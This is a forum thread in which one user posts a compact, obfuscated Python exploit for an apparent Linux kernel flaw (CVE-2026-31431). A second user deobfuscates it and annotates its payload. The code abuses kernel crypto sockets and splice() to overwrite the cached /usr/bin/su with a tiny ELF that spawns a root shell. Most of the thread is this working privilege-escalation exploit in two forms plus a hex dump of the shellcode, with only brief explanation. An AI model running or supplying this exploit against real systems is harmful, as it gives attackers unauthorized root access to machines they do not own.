• not_IO@lemmy.blahaj.zoneOP
    link
    fedilink
    English
    arrow-up
    52
    arrow-down
    2
    ·
    2 days ago

    here is just the code https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

    #!/usr/bin/env python3
    import os as g,zlib,socket as s
    def d(x):return bytes.fromhex(x)
    def c(f,t,c):
     a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
     try:u.recv(8+t)
     except:0
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
    while i<len(e):c(f,i,e[i:i+4]);i+=4
    g.system("su")
    
    • lime!@feddit.nu
      link
      fedilink
      arrow-up
      55
      ·
      edit-2
      14 hours ago

      here’s my attempt at deobfuscating it:

      #!/usr/bin/env python3
      
      import os
      from ctypes import c_int32 as i32, c_char as char
      import zlib
      import socket as s
      
      
      def inject(file, offset, data):
          # connect to kernel crypto system's aeda endpoint
          sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
          sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
       
          # set cipher key and tag size, then wait for the system to be ready
          sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
          sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
          conn, _ = sock.accept()
       
          # pass in configuration
          conn.sendmsg(
              [b"AAAA" + data],  # pad to tag size
              [
                  (s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)),  # set operation
                  (s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)),    # set init vector
                  (s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)),  # set associated data length
              ],
              s.MSG_MORE,
          )
      
          # move file through a pipe to the connection without copying
          r, w = os.pipe()
          os.splice(file, w, offset + 4, offset_src=0)
          os.splice(r, conn.fileno(), offset + 4)
          try:
              conn.recv(8 + offset)
          except:
              pass
      
      
      binary = os.open("/usr/bin/su", os.O_RDONLY)
      offset = 0
      payload = zlib.decompress(
          bytes.fromhex(
              "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
              "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
              "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
          )
      )
      
      while offset < len(payload):
          inject(binary, offset, payload[offset : offset + 4])
          offset += 4
      
      os.system("su")
      

      as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

      00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
      00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
      00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
      00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
      00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
      00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
      00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
      00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
      00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
      00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...
      

      it’s an ELF header that replaces the one on the cached version of the binary (su in this case).

      Edit: came back to this because i realized i had the wrong flags. the values were right but they were for the wrong socket type.